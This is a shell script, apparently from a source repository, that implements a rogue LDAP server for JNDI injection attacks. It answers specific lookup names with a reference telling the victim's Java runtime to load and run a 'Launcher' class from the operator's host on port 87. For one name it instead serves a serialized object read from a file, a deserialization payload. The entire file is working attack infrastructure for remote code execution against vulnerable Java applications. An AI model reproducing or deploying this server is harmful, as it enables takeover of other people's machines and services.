blob: b8cff86b83dc32bedd665bd31803c3b8dc0be6ac [file] [log] [blame] [raw]
#!/bin/sh
# Dirty LDAP server for JNDI lookup
# Copyright 2015-2021 Rivoreo
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at https://mozilla.org/MPL/2.0/.
LDAP_REQ_BIND=0x60
LDAP_REQ_UNBIND=0x42
LDAP_REQ_SEARCH=0x63
LDAP_RES_BIND=0x61
LDAP_RES_SEARCH_ENTRY=0x64
LDAP_RES_SEARCH_RESULT=0x65
get_length() {
local buffer
#buffer="`xxd -g 2 -l 2`"
buffer="`dd bs=2 count=1 | xxd -g 2`"
[ -n "$buffer" ]
buffer="${buffer#*: ??}"
len="$((0x${buffer%% *}))"
if [ $len -lt 128 ]; then
echo $len
return
fi
len=$((len&0x7f))
#buffer="`xxd -g $len -l $len`"
buffer="`dd bs=1 count=$len | xxd -g $len`"
[ -n "$buffer" ]
buffer="${buffer#*: ??}"
echo $((0x${buffer%% *}))
}
next_byte() {
[ "$len" -gt 0 ]
remainings="${buffer#??}"
byte="${buffer%$remainings}"
buffer="$remainings"
len=$((len-1))
}
next_bytes() {
[ "$len" -gt $1 ]
local cut i=0
while [ $i -lt $1 ]; do
cut="??$cut"
i=$((i+1))
done
remainings="${buffer#$cut}"
bytes="${buffer%$remainings}"
buffer="$remainings"
len=$((len-$1))
}
next_uint32() {
next_bytes 4
n=$((0x$bytes))
}
if [ "`printf '\\x30'`" = 0 ]; then
next_string() {
next_bytes $1
string="`printf \"\`printf %s \\\"$bytes\\\" | sed -E 's/(..)/\\\\\\\\x\\\\1/g'\`\"`"
}
else
next_string() {
next_bytes $1
string=
while [ -n "$bytes" ]; do
remainings=${bytes#??}
n=$((0x${bytes%$remainings}))
bytes=$remainings
string="$string`printf \"\\\\\`printf %03o $n\`\"`"
done
}
fi
next_ldap_string() {
next_byte
[ $byte = 04 ]
next_byte
string_len=$((0x$byte))
if [ $string_len -gt 127 ]; then
string_len=$((byte&0x7f))
next_bytes $string_len
string_len=$((0x$bytes))
fi
next_string $string_len
}
encode_length() {
if [ $1 -gt 65535 ]; then
echo "too large" 1>&2
exit 1
elif [ $1 -gt 255 ]; then
encoded_length="82`printf %04x $1`"
encoding_len=3
elif [ $1 -gt 127 ]; then
encoded_length="81`printf %02x $1`"
encoding_len=2
else
encoded_length="`printf %02x $1`"
encoding_len=1
fi
}
encode_string() {
local s="$1" len=0 buffer= c wa
while [ -n "$s" ]; do
remainings="${s#?}"
c="${s%$remainings}"
s="$remainings"
# causes vim(1) syntax highlighting piao
#buffer="$buffer`printf %02x \"'$c\"`"
wa="'$c"
buffer="$buffer`printf %02x \"$wa\"`"
len=$((len+1))
done
encode_length $len
encoded_string="04$encoded_length$buffer"
encoding_len=$((1+encoding_len+len))
}
encode_attribute() {
local attr_desc attr_len attr_val attr_val_set_len
encode_string "$1"
attr_desc=$encoded_string
attr_len=$encoding_len
encode_string "$2"
attr_val=$encoded_string
attr_val_set_len=$encoding_len
encode_length $attr_val_set_len
attr_len=$((attr_len+1+attr_val_set_len+encoding_len))
attr_val_set_len=$encoded_length
encode_length $attr_len
encoded_attribute="30$encoded_length${attr_desc}31$attr_val_set_len$attr_val"
encoding_len=$((1+attr_len+encoding_len))
}
encode_attribute_from_file() {
local attr_desc attr_len attr_val attr_val_set_len
encode_string "$1"
attr_desc=$encoded_string
attr_len=$encoding_len
attr_val="`xxd -c 64 -g 64 \"$2\" | cut -c 10-137 | while read line; do printf %s \"\$line\"; done`"
attr_val_set_len=${#attr_val}
attr_val_set_len=$((attr_val_set_len/2))
encode_length $attr_val_set_len
attr_val=04$encoded_length$attr_val
attr_val_set_len=$((1+encoding_len+attr_val_set_len))
encode_length $attr_val_set_len
attr_len=$((attr_len+1+attr_val_set_len+encoding_len))
attr_val_set_len=$encoded_length
encode_length $attr_len
encoded_attribute="30$encoded_length${attr_desc}31$attr_val_set_len$attr_val"
encoding_len=$((1+attr_len+encoding_len))
}
if [ "`printf '\\x30'`" = 0 ]; then
write_bytes() {
printf "`printf %s \"$1\" | sed -E 's/(..)/\\\\x\\1/g'`"
}
else
write_bytes() {
local buffer="$1"
while [ -n "$buffer" ]; do
remainings=${buffer#??}
n=$((0x${buffer%$remainings}))
buffer=$remainings
printf "\\`printf %03o $n`"
done | dd obs=256
# the above dd(1) creates a send buffer for easier debugging
}
fi
set -e
public_address="`ssh router-address -l root -i /root/.ssh/id_rsa_router_get_pppoe_ifconfig -T < /dev/null | grep -E '^ inet addr:([0-9]{1,3}\\.){3}[0-9]{1,3} ' | sed -r -e 's/^ +inet addr://' -e 's/ .+//'`"
trap "echo exiting 1>&2" EXIT
#set -u
while len="`get_length`" && [ "$len" -gt 0 ]; do
#buffer="`xxd -g $len -l $len`"
buffer="`dd bs=1 count=$len | xxd -g $len`"
[ -n "$buffer" ]
buffer="${buffer#*: }"
buffer="${buffer%% *}"
next_byte
[ "$byte" = 02 ]
next_byte
[ "$byte" -lt 5 ]
msg_id_len_encoded=$byte
msg_id_len=$((0x$msg_id_len_encoded))
next_bytes $msg_id_len
msg_id="02$msg_id_len_encoded$bytes"
next_byte
case 0x$byte in
$LDAP_REQ_BIND)
[ $len -lt $((125-msg_id_len)) ]
write_bytes "30`printf %02x $((11+msg_id_len))`$msg_id${LDAP_RES_BIND#0x}070a010004000400"
;;
$LDAP_REQ_SEARCH)
next_byte
#[ $byte -lt 128 ]
[ $byte -lt $((len-3-msg_id_len)) ]
next_ldap_string
[ $len -lt $((125-msg_id_len)) ]
printf "Searching for '%s'\\n" "$string" 1>&2
case "$string" in
chicken|Chicken|Creeper|Skeleton)
encode_string "$string"
object_name="$encoded_string"
search_entry_len=$encoding_len
encode_attribute javaClassName Foo
attr1=$encoded_attribute
attributes_len=$encoding_len
encode_attribute javaCodeBase "http://$public_address:87/"
attr2=$encoded_attribute
attributes_len=$((attributes_len+encoding_len))
encode_attribute objectClass javaNamingReference
attr3=$encoded_attribute
attributes_len=$((attributes_len+encoding_len))
encode_attribute javaFactory Launcher
attr4=$encoded_attribute
attributes_len=$((attributes_len+encoding_len))
encode_length $attributes_len
search_entry_len=$((search_entry_len+1+attributes_len+encoding_len))
attributes_len=$encoded_length
encode_length $search_entry_len
msg_len=$((1+1+msg_id_len+1+search_entry_len+encoding_len))
search_entry_len=$encoded_length
encode_length $msg_len
msg_len=$encoded_length
write_bytes "30$msg_len$msg_id${LDAP_RES_SEARCH_ENTRY#0x}$search_entry_len${object_name}30$attributes_len$attr1$attr2$attr3$attr4"
;;
support)
encode_string "$string"
object_name="$encoded_string"
search_entry_len=$encoding_len
encode_attribute javaClassName Foo
attr1=$encoded_attribute
attributes_len=$encoding_len
encode_attribute_from_file javaSerializedData /tmp/serialized-object
attr2=$encoded_attribute
#encode_string javaSerializedData
#attr2_desc=$encoded_string
#attr2_len=$encoding_len
#attr2_val=00
#attr2_val_set_len=$((4+1))
#encode_length $attr2_val_set_len
#attr2_len=$((attr2_len+1+attr2_val_set_len+encoding_len))
#attr2_val_set_len=$encoded_length
#encode_length $attr2_len
#attr2="30$encoded_length${attr2_desc}31$attr2_val_set_len$attr2_val"
#encoding_len=$((1+attr2_len+encoding_len))
attributes_len=$((attributes_len+encoding_len))
encode_length $attributes_len
search_entry_len=$((search_entry_len+1+attributes_len+encoding_len))
attributes_len=$encoded_length
encode_length $search_entry_len
msg_len=$((1+1+msg_id_len+1+search_entry_len+encoding_len))
search_entry_len=$encoded_length
encode_length $msg_len
msg_len=$encoded_length
write_bytes "30$msg_len$msg_id${LDAP_RES_SEARCH_ENTRY#0x}$search_entry_len${object_name}30$attributes_len$attr1$attr2"
;;
esac
write_bytes "30`printf %02x $((11+msg_id_len))`$msg_id${LDAP_RES_SEARCH_RESULT#0x}070a010004000400"
;;
$LDAP_REQ_UNBIND)
exit
;;
*)
echo "Request $byte not supported" 1>&2
exit
esac
done